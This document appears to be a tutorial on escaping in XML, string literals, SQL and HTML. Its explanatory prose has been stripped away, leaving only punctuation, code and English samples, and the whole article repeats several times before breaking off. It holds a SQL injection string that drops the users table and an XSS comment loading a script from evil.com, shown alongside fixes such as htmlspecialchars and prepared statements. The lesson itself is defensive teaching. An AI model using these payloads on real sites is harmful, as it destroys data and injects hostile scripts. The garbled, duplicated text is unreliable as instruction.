 <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article> 
 ,     . "&lt;"  "<",  "&gt;" - ">". 
    -  ,    ,   ,      . 
 escape |iˈskāp| [ no obj. ]    [ with obj. ]   /   [...] [ with obj. ] IT:    - [...] 
           ,    , ,   ,          . ,  ,    : "    ,        ?" . 
       ,  (&) -    .   ,     "&lt;",      "<"?  XML, escape-  &,  - " &amp; ", ..   : " &amp;&lt; " 
 
   
 XML -    ""   .   ,       : 
 var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; 
   -      " "  .            : 
 var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; 
 !       ! , ,  ,     -? 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; 
 ... , .  ,            .        .    -  ,       "  ",    .      : 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; 
 "\"      .  , -, ,  "\" -  .       ,       , : "\\". ,   ? 
 
 ! 
      ,        .  ,     .  ,        ,     "".  ,    ,   . ,   , ,  ,        HTML,     , ,  ,     HTML,  ,  ,  "" HTML    . 
 
         - SQL . SQL - ,       : 
 SELECT phone_number FROM users WHERE name = 'Alex' 
        ,    .   ,      SQL   .              , : 
 $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); 
               ,   .  "", ,    ,      ,  . ,       - . 
 
  ,    ,    -,      .   ,     : 
 $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
  ,      :  - -!  ,   -  !   !  ,     - ,     !      ! 
 
    ,   . $_POST['name'] - ,             -.    SQL-,       ,       .   SQL ""    . 
 
       , ?      ,       -      : 
 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' 
     ,    , ?  2, , ""    -  '.  !  4 - .    ?     ... 
    ,  ...         ,     . ,    -   :      Joe,     users (   '),     . 
 
       .   , , ,     ,      ,   10    .     SQL-,    .  ,   ,   ,       ,    ,       ..   ,    - ""  . 
 
 ! 
  : XSS .   ,    HTML. 
 ,     ,    ,         -,   .  ,    ,    .. -     - : 
 <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> 
       ,       ,       : 
 <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> 
    ,  , ,    ,    : 
 <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> 
 ...     . ,        ,     , ? 
 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> 
 , ,   ? -   javascript    ? ,        ,         ,      .     . 
 
     
   ,   -      ,    ,      !  ,   ""           ,  ,     .   ? 
 
 ?  , ? ,  , ""?    ,  ! 
            ,   .        - : 
 $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
    ,       ""   .       SQL-,     : 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' 
 mysql_real_escape_string       ,     -  . 
 
 ,     : 
 <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> 
    htmlspecialchars    , ,   .     : 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div> 
  ,  ,   ,     "".      HTML        . 
 
    ... 
    ,    :       ,  ,       .     SQL,       SQL.     HTML,       HTML.     ( ),       ( ).   . 
 
    
 , ,      ,        : 
 Validation 
   ,       .     ,     ,         .     ,      "DROP TABLE users" , , ,   "42".    ,   HTML/SQL-, ..      ,    "".        . Sanitization 
     ""   ,   . ,   -   HTML-,      .   ,        . 
 Prepared SQL statements 
   ,  ,    :       SQL-  ,  .      : 
 $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); 
       ,     .       ,     . 
 
 
   ,        .       (),   ,     .    (  )   .     ""  - ,     . ,  ,      ,     SQL- (    HTML).

? , - ? XML - . . . , - , i .
, - .
<?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article>
, . "&lt;" "<", "&gt;" - ">".
- , , , .
escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...]
, , , , . , , : " , ?" .
, (&) - . , "&lt;", "<"? XML, escape- &, - " &amp; ", .. : " &amp;&lt; "


XML - "" . , :
var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian";
- " " . :
var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y.";
! ! , , , -?
var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet".";
... , . , . . - , " ", . :
var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\".";
"\" . , -, , "\" - . , , : "\\". , ?

!
, . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML .

- SQL . SQL - , :
SELECT phone_number FROM users WHERE name = 'Alex'
, . , SQL . , :
$query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query);
, . "", , , , . , - .

, , -, . , :
$name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, : - -! , - ! ! , - , ! !

, . $_POST['name'] - , -. SQL-, , . SQL "" .

, ? , - :

Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --'
, , ? 2, , "" - '. ! 4 - . ? ...
, ... , . , - : Joe, users ( '), .

. , , , , , 10 . SQL-, . , , , , , .. , - "" .

!
: XSS . , HTML.
, , , -, . , , .. - - :
<div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div>
, , :
<div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div>
, , , , :
<div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div>
... . , , , ?

<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div>
, , ? - javascript ? , , , . .


, - , , ! , "" , , . ?

? , ? , , ""? , !
, . - :
$name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, "" . SQL-, :
Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc\'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --'
mysql_real_escape_string , - .

, :
<div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div>
htmlspecialchars , , . :
<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div>
, , , "". HTML .

...
, : , , . SQL, SQL. HTML, HTML. ( ), ( ). .


, , , :
Validation
, . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization
"" , . , - HTML-, . , .
Prepared SQL statements
, , : SQL- , . :
$stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']);
, . , .


, . (), , . ( ) . "" - , . , , , SQL- ( HTML).

? , - ? XML - . . . , - , i . , - . <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x < n and y > n, x cannot be larger than y. </contents> </article> , . "<" "<", ">" - ">". - , , , . escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...] , , , , . , , : " , ?" . , (&) - . , "<", "<"? XML, escape- &, - " & ", .. : " &< " XML - "" . , : var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; - " " . : var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; ! ! , , , -? var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; ... , . , . . - , " ", . : var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; "\" . , -, , "\" - . , , : "\\". , ? ! , . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML . - SQL . SQL - , : SELECT phone_number FROM users WHERE name = 'Alex' , . , SQL . , : $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); , . "", , , , . , - . , , -, . , : $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); , : - -! , - ! ! , - , ! ! , . $_POST['name'] - , -. SQL-, , . SQL "" . , ? , - : Alex SELECT phone_number FROM users WHERE name = 'Alex' Mc'Donalds SELECT phone_number FROM users WHERE name = 'Mc'Donalds' Joe'; DROP TABLE users; -- SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' , , ? 2, , "" - '. ! 4 - . ? ... , ... , . , - : Joe, users ( '), . . , , , , , 10 . SQL-, . , , , , , .. , - "" . ! : XSS . , HTML. , , , -, . , , .. - - : <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> , , : <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> , , , , : <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> ... . , , , ? <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> , , ? - javascript ? , , , . . , - , , ! , "" , , . ? ? , ? , , ""? , ! , . - : $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); , "" . SQL-, : Alex SELECT phone_number FROM users WHERE name = 'Alex' Mc'Donalds SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' Joe'; DROP TABLE users; -- SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' mysql_real_escape_string , - . , : <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> htmlspecialchars , , . : <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> , , , "". HTML . ... , : , , . SQL, SQL. HTML, HTML. ( ), ( ). . , , , : Validation , . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization "" , . , - HTML-, . , . Prepared SQL statements , , : SQL- , . : $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); , . , . , . (), , . ( ) . "" - , . , , , SQL- ( HTML).

? , - ? XML - . . . , - , i .
, - .
<?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article>
, . "&lt;" "<", "&gt;" - ">".
- , , , .
escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...]
, , , , . , , : " , ?" .
, (&) - . , "&lt;", "<"? XML, escape- &, - " &amp; ", .. : " &amp;&lt; "


XML - "" . , :
var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian";
- " " . :
var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y.";
! ! , , , -?
var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet".";
... , . , . . - , " ", . :
var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\".";
"\" . , -, , "\" - . , , : "\\". , ?

!
, . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML .

- SQL . SQL - , :
SELECT phone_number FROM users WHERE name = 'Alex'
, . , SQL . , :
$query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query);
, . "", , , , . , - .

, , -, . , :
$name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, : - -! , - ! ! , - , ! !

, . $_POST['name'] - , -. SQL-, , . SQL "" .

, ? , - :

Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --'
, , ? 2, , "" - '. ! 4 - . ? ...
, ... , . , - : Joe, users ( '), .

. , , , , , 10 . SQL-, . , , , , , .. , - "" .

!
: XSS . , HTML.
, , , -, . , , .. - - :
<div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div>
, , :
<div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div>
, , , , :
<div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div>
... . , , , ?

<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div>
, , ? - javascript ? , , , . .


, - , , ! , "" , , . ?

? , ? , , ""? , !
, . - :
$name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, "" . SQL-, :
Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc\'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --'
mysql_real_escape_string , - .

, :
<div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div>
htmlspecialchars , , . :
<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div>
, , , "". HTML .

...
, : , , . SQL, SQL. HTML, HTML. ( ), ( ). .


, , , :
Validation
, . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization
"" , . , - HTML-, . , .
Prepared SQL statements
, , : SQL- , . :
$stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']);
, . , .


, . (), , . ( ) . "" - , . , , , SQL- ( HTML).

 ?   ,    -  ?  XML -  .   .  .       ,  -      ,         i    . 
    ,    - . 
 <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article> 
 ,     . "&lt;"  "<",  "&gt;" - ">". 
    -  ,    ,   ,      . 
 escape |iˈskāp| [ no obj. ]    [ with obj. ]   /   [...] [ with obj. ] IT:    - [...] 
           ,    , ,   ,          . ,  ,    : "    ,        ?" . 
       ,  (&) -    .   ,     "&lt;",      "<"?  XML, escape-  &,  - " &amp; ", ..   : " &amp;&lt; " 
 
   
 XML -    ""   .   ,       : 
 var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; 
   -      " "  .            : 
 var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; 
 !       ! , ,  ,     -? 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; 
 ... , .  ,            .        .    -  ,       "  ",    .      : 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; 
 "\"      .  , -, ,  "\" -  .       ,       , : "\\". ,   ? 
 
 ! 
      ,        .  ,     .  ,        ,     "".  ,    ,   . ,   , ,  ,        HTML,     , ,  ,     HTML,  ,  ,  "" HTML    . 
 
         - SQL . SQL - ,       : 
 SELECT phone_number FROM users WHERE name = 'Alex' 
        ,    .   ,      SQL   .              , : 
 $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); 
               ,   .  "", ,    ,      ,  . ,       - . 
 
  ,    ,    -,      .   ,     : 
 $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
  ,      :  - -!  ,   -  !   !  ,     - ,     !      ! 
 
    ,   . $_POST['name'] - ,             -.    SQL-,       ,       .   SQL ""    . 
 
       , ?      ,       -      : 
 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' 
     ,    , ?  2, , ""    -  '.  !  4 - .    ?     ... 
    ,  ...         ,     . ,    -   :      Joe,     users (   '),     . 
 
       .   , , ,     ,      ,   10    .     SQL-,    .  ,   ,   ,       ,    ,       ..   ,    - ""  . 
 
 ! 
  : XSS .   ,    HTML. 
 ,     ,    ,         -,   .  ,    ,    .. -     - : 
 <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> 
       ,       ,       : 
 <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> 
    ,  , ,    ,    : 
 <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> 
 ...     . ,        ,     , ? 
 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> 
 , ,   ? -   javascript    ? ,        ,         ,      .     . 
 
     
   ,   -      ,    ,      !  ,   ""           ,  ,     .   ? 
 
 ?  , ? ,  , ""?    ,  ! 
            ,   .        - : 
 $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
    ,       ""   .       SQL-,     : 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' 
 mysql_real_escape_string       ,     -  . 
 
 ,     : 
 <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> 
    htmlspecialchars    , ,   .     : 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div> 
  ,  ,   ,     "".      HTML        . 
 
    ... 
    ,    :       ,  ,       .     SQL,       SQL.     HTML,       HTML.     ( ),       ( ).   . 
 
    
 , ,      ,        : 
 Validation 
   ,       .     ,     ,         .     ,      "DROP TABLE users" , , ,   "42".    ,   HTML/SQL-, ..      ,    "".        . Sanitization 
     ""   ,   . ,   -   HTML-,      .   ,        . 
 Prepared SQL statements 
   ,  ,    :       SQL-  ,  .      : 
 $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); 
       ,     .       ,     . 
 
 
   ,        .       (),   ,     .    (  )   .     ""  - ,     . ,  ,      ,     SQL- (    HTML).

? , - ? XML - . . . , - , i .
, - .
<?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article>
, . "&lt;" "<", "&gt;" - ">".
- , , , .
escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...]
, , , , . , , : " , ?" .
, (&) - . , "&lt;", "<"? XML, escape- &, - " &amp; ", .. : " &amp;&lt; "


XML - "" . , :
var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian";
- " " . :
var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y.";
! ! , , , -?
var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet".";
... , . , . . - , " ", . :
var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\".";
"\" . , -, , "\" - . , , : "\\". , ?

!
, . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML .

- SQL . SQL - , :
SELECT phone_number FROM users WHERE name = 'Alex'
, . , SQL . , :
$query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query);
, . "", , , , . , - .

, , -, . , :
$name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, : - -! , - ! ! , - , ! !

, . $_POST['name'] - , -. SQL-, , . SQL "" .

, ? , - :

Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --'
, , ? 2, , "" - '. ! 4 - . ? ...
, ... , . , - : Joe, users ( '), .

. , , , , , 10 . SQL-, . , , , , , .. , - "" .

!
: XSS . , HTML.
, , , -, . , , .. - - :
<div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div>
, , :
<div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div>
, , , , :
<div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div>
... . , , , ?

<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div>
, , ? - javascript ? , , , . .


, - , , ! , "" , , . ?

? , ? , , ""? , !
, . - :
$name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, "" . SQL-, :
Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc\'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --'
mysql_real_escape_string , - .

, :
<div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div>
htmlspecialchars , , . :
<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div>
, , , "". HTML .

...
, : , , . SQL, SQL. HTML, HTML. ( ), ( ). .


, , , :
Validation
, . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization
"" , . , - HTML-, . , .
Prepared SQL statements
, , : SQL- , . :
$stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']);
, . , .


, . (), , . ( ) . "" - , . , , , SQL- ( HTML).

 ?   ,    -  ?  XML -  .   .  .       ,  -      ,         i    . 
    ,    - . 
 <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article> 
 ,     . "&lt;"  "<",  "&gt;" - ">". 
    -  ,    ,   ,      . 
 escape |iˈskāp| [ no obj. ]    [ with obj. ]   /   [...] [ with obj. ] IT:    - [...] 
           ,    , ,   ,          . ,  ,    : "    ,        ?" . 
       ,  (&) -    .   ,     "&lt;",      "<"?  XML, escape-  &,  - " &amp; ", ..   : " &amp;&lt; " 
 
   
 XML -    ""   .   ,       : 
 var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; 
   -      " "  .            : 
 var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; 
 !       ! , ,  ,     -? 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; 
 ... , .  ,            .        .    -  ,       "  ",    .      : 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; 
 "\"      .  , -, ,  "\" -  .       ,       , : "\\". ,   ? 
 
 ! 
      ,        .  ,     .  ,        ,     "".  ,    ,   . ,   , ,  ,        HTML,     , ,  ,     HTML,  ,  ,  "" HTML    . 
 
         - SQL . SQL - ,       : 
 SELECT phone_number FROM users WHERE name = 'Alex' 
        ,    .   ,      SQL   .              , : 
 $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); 
               ,   .  "", ,    ,      ,  . ,       - . 
 
  ,    ,    -,      .   ,     : 
 $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
  ,      :  - -!  ,   -  !   !  ,     - ,     !      ! 
 
    ,   . $_POST['name'] - ,             -.    SQL-,       ,       .   SQL ""    . 
 
       , ?      ,       -      : 
 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' 
     ,    , ?  2, , ""    -  '.  !  4 - .    ?     ... 
    ,  ...         ,     . ,    -   :      Joe,     users (   '),     . 
 
       .   , , ,     ,      ,   10    .     SQL-,    .  ,   ,   ,       ,    ,       ..   ,    - ""  . 
